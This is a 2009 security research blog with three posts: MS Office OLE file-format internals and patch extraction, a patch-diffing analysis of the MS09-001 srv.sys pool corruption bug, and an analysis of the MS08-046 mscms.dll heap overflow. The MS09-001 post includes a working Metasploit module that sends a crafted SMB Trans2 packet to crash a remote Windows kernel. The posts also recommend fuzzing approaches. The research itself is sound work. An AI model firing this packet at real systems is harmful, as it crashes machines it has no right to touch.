Sunday, March 29, 2009

Microsoft Office Vulnerability Research

First step towards looking for possible Security Bugs in Microsoft Office Suite is to understand the file format used.

Microsoft Office File Format Internals: A given MS Office document is organized internally using OLE Structure Storage. OLE Structured Storage is defined as a systematic organization of components of any MS Office document. Each document has a root component which contains storage and stream components. The OLE Structured Storage is synonymous with the file system structure, such that 'storage' components are equivalent to directories and 'stream' components are equivalent to files. A storage component may exist as a standalone component. Each storage component may have one or more sub-storage components and stream components. Also the root component may have stream components directly within it.

The actual implementation details are defined in The Windows Compound Binary File Format specification.

Most of my research on MS Office File Format was conducted using the Ruby OLE library which allows easy and abstract read-write on the various streams and storages packed in the internal OLE structures. Install the Ruby-OLE gem before trying out any of the examples below.

Examples:

Dumping the OLE structure of a given word document:
user@sigsegv$ oletool --tree sample2.doc
- #<Dirent:"Root Entry">
|- #<Dirent:"1Table" size=34907 data="^\004\032\000\022...">
|- #<Dirent:"\001CompObj" size=121 data="\001\000\376\377\003...">
|- #<Dirent:"MsoDataStore">
| \- #<Dirent:"F\303\223\303\216\303\226U\303\2261\303\2305U4\303\217\303\2201BEKP\303\235N\303\203\303\200==">
| |- #<Dirent:"Item" size=216 data="<b:So...">
| \- #<Dirent:"Properties" size=341 data="<?xml...">
|- #<Dirent:"WordDocument" size=15429 data="\354\245\301\000}...">
|- #<Dirent:"\005SummaryInformation" size=4096 data="\376\377\000\000\005...">
\- #<Dirent:"\005DocumentSummaryInformation" size=4096 data="\376\377\000\000\005...">
user@sigsegv$

Sample code to display the size of the WordDocument stream inside a doc file:

#!/usr/bin/ruby

require 'rubygems'
require 'ole/storage'

ole = Ole::Storage.new("sample2.doc")
buf = ole.file.read("/WordDocument")
ole.close

puts "WordDocument stream size: #{buf.size}"

Sample code to display only the text part of a doc file:

require 'rubygems'
require 'ole/storage'
require 'lib/fib'

if __FILE__ == $0
if ARGV.size != 1
exit
end

ole = Ole::Storage.new(ARGV[0])
docbuf = ole.file.read("/WordDocument")

fib = Word::FIB.load(ole)
off_start = fib.fcMin
off_end = fib.fcMac

puts "Text Offset start: #{off_start}"
puts "Text offset end: #{off_end}"

text = docbuf[off_start, off_end - off_start]
puts text.inspect
end
Reverse Engineering a Microsoft Office Patch: The patches against Microsoft Office Suite as distributed by Microsoft usually consists of self extractable MSP or MSI packages extracting which is not exactly same as that of other patches.

Step1:

After fetching the patch installer executable, the first thing to do is to have to the installer extract the MSI/MSP installer programs:
officexp-KB-XXX.exe /C /T:e:\ms08-042-extracted\
The above command will extract the actual patch installer files to e:\ms08-042-extracted\ directory. Among the extracted files, there will be an MSI or MSP file which is the main patch installer program.

Step2:

The MSI/MSP files are special OLE structured installer programs. Details can be found here, here. There is also an utility for extracting MSI/MSP files here.
msix.exe WINWORD.msp /out:e:\ms08-042-extracted\ /ext
This should extract all the table data and other relevant information along with a CAB file containing the actual patch binaries which we are interested in. Find the CAB file among the extracted files and extract it normally using WinZIP/WinRAR etc. and BANG!

Bug Hunting: A good number of bugs, including theoretically Security Vulnerabilities where discovered using very trivial bit-byte alteration fuzzing of various structures including the File Information Block (FIB) in Word Documents, random structures in the TableStream etc. There are a no. of structures in the File Formats particularly the Word File Format whose sizes are also read from the document itself, these areas can be good vectors for fuzzing particularly when there are multiple structure load from file with size value read from the file itself.

Saturday, March 28, 2009

MS09-001 Analysis

Finally its time to publish some long awaiting details of possibly interesting vulnerabilities. It cannot get any better than to start with this years first Microsoft Vulnerability and that too a Remote Kernel; so here goes a copy paste from an old writeup enhanced with some screen shots.

MS09-001 patch fixes at least 3 distinct vulnerabilities, the analysis below is for one of the vulnerabilities fixed.

Vulnerability Identification:

The first and foremost thing in the vulnerability identification process is to download the patch, unpack/extract it and look for the executables/dlls that are supposed to be replacing older version of code in your system with the patched one. Next we need to go deeper and find out what changes the newer version of the executable brings in to the system ie. which all functions are changed, inside the changed functions which all instructions are added or deleted, which all code blocks are added or deleted etc.

An initial BinDiff of srv.sys from MS09-001 with MS08-063 shows that 4 functions has been changed significantly, among them this analysis focuses on the changes in SrvSmbOpen2(..) function. Disassembling and going through the changes in SrvSmbOpen2(..) and the associated functions reveals the problem:

PAGE:00050586 mov edx, [ebp+var_14]
PAGE:00050589 xor eax, eax
PAGE:0005058B push 6
PAGE:0005058D pop ecx
PAGE:0005058E mov edi, edx
PAGE:00050590 rep stosd
The vulnerability can be boiled down to the following pseudo code:

SrvSmbOpen2(...) {
(..)
ptr = ExAllocatePoolWithTag(TYPE, user_controlled_size, TAG); [1]
(..)
if(operation_is_invalid) {
memset(ptr, 0, 24); [2]
(..)
ExFreePoolWithTag(ptr, TAG); [3]
}
(..)
}

Apparently there is no problem if anything greater than 24 bytes of memory is allocated at [1], but the problem arises when:
  • A specially crafted SMB Request (Smb Transact2) is sent where the where the various size fields in the header like ParamCount, ParamCountMax, DataCount, DataCountMax etc. is set such that the allocation in [1] is forced to be less than 24 bytes.
  • Since less than 24 bytes of memory is allocated at [1]; the memset at [2] is clearly wrong and leads to memory overwrite pass the Pool and corrupts the adjoining Pool Header by overwriting with NULL byte.
A quick proof of concept code proves the correctness of the analysis with a kernel crash:

kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: e1e9e9d8, The pool entry we were looking for within the page.
Arg3: e1e9ea90, The next pool entry.
Arg4: 0c170201, (reserved)

(...)

kd> kb
ChildEBP RetAddr Args to Child
f88de7e0 804f7b9d 00000003 f88deb3c 00000000 nt!RtlpBreakWithStatusInstruction
f88de82c 804f878a 00000003 00000001 e1e9e9d8 nt!KiBugCheckDebugBreak+0x19
f88dec0c 804f8cb5 00000019 00000020 e1e9e9d8 nt!KeBugCheck2+0x574
f88dec2c 80544a86 00000019 00000020 e1e9e9d8 nt!KeBugCheckEx+0x1b
f88dec7c f6961dd1 e1e9e9e0 00000000 f69611a6 nt!ExFreePoolWithTag+0x2a0
f88dec88 f69611a6 804eef9c 82076640 00000000 srv!SrvFreePagedPool+0x2a
f88deca4 f695067b 82076640 00000001 f88ded3c srv!SrvClearLookAsideList+0x2a
f88decb4 f6961081 00000000 804eef9c f695f9e0 srv!LazyFreeQueueDataStructures+0x15c
f88ded3c f6950556 82280ec8 820768c8 8235e640 srv!ScavengerAlgorithm+0x5d
f88ded60 8056bcc5 820768c8 00000000 8055b0c0 srv!ScavengerThread+0x7a
f88ded74 80534c02 82280ec8 00000000 8235e640 nt!IopProcessWorkItem+0x13
f88dedac 805c6160 82280ec8 00000000 00000000 nt!ExpWorkerThread+0x100
f88deddc 80541dd2 80534b02 00000000 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
As expected, BugCheck is caught in the debugger raised due to corrupted Pool Header, but looking at the backtrace is definitely misleading. The problem with memory corruption bugs is that its very easy to get lost in the ocean of allocation and de-allocations. In our case, we know that the corruption occurred in SrvSmbOpen2(..) due to erroneous memset(..) but it definitely is not understandable from the backtrace. This is because the exception is not triggered immediately on the corruption, instead it is only triggered when the corrupted pool is processed at some later point of time. However, Microsoft's Driver Verifier is the ideal tool to use in this kind of scenario.

.. and finally here goes the meat from PoC code written as Metasploit module.

def exploit
connect()
smb_login()

# Build the malicious Trans2 packet
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
self.simple.client.smb_defaults(pkt['Payload']['SMB'])

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x0000
pkt['Payload']['SMB'].v['Flags2'] = 0x0002
pkt['Payload']['SMB'].v['WordCount'] = 15

pkt['Payload'].v['ParamCountTotal'] = 2
pkt['Payload'].v['DataCountTotal'] = 0
pkt['Payload'].v['ParamCountMax'] = 0
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['SetupCountMax'] = 0
pkt['Payload'].v['ParamCount'] = 2
pkt['Payload'].v['ParamOffset'] = 68
pkt['Payload'].v['DataCount'] = 0
pkt['Payload'].v['DataOffset'] = 0
pkt['Payload'].v['SetupCount'] = 1
pkt['Payload'].v['SetupData'] = "\x00\x00"

pkt['Payload'].v['ByteCount'] = 5
pkt['Payload'].v['Payload'] = "\x00\x00\x00\x00\x00"

print_status("Triggering kaboom!")
sock.put(pkt.to_s)
sock.recv(65535)
print_status("Done")

disconnect
end

Notes on Exploitation: I am not aware of any exploit for this vulnerability that results in arbitrary code execution, however there might be certain possibilities if you can somehow prepare or control the state of the different memory pools allocated at the time of corruption.

Friday, March 20, 2009

MS08-046 Analysis

Long time back, I analyzed this vulnerability for some practical needs :P Now I think its time to just dump the details here.

The vulnerability exists in the API OpenColorProfile exported from mscms.dll in the following code segment:

.text:73B33A07 lea eax, [ebp+var_C]
.text:73B33A0A push eax ; PDWORD
.text:73B33A0B push edi ; PWSTR 0x104 byte heap buff
.text:73B33A0C push 0 ; PCWSTR
.text:73B33A0E call GetColorDirectoryW
.text:73B33A13 push offset asc_73B420B4 ; "\\"
.text:73B33A18 push edi ; lpString1
.text:73B33A19 mov edi, ds:lstrcatW
.text:73B33A1F call edi ; lstrcatW Append "\\" to buffer pointed by edi
.text:73B33A21 push dword ptr [ebx+0Ch] ; lpString2 Use data [ebx + 0x0C]
.text:73B33A24 push [ebp+lpString1] ; lpString1
.text:73B33A27 call edi ; lstrcatW Almost unbounded append (HEAP OVERFLOW)
.text:73B33A29 push dword ptr [ebx+0Ch] ; pMem
.text:73B33A2C call sub_73B31C29 ; [ebx+0x0C] is free'd here
.text:73B33A31 mov eax, [ebp+lpString1]
.text:73B33A34 mov [ebx+0Ch], eax
.text:73B33A37 mov [ebx+10h], esi
.text:73B33A3A jmp loc_73B31ED0

Loosely, the vulnerable code can be represented in the following C like syntax:

ptr = GlobalAlloc(0x104);
GetColorDirectoryW(NULL, ptr, &dw)

strcatW(ptr, L"\\");
strcatW(ptr, lpString1); // lpString1 points to user supplied data

.. and here goes the PoC

Sunday, March 1, 2009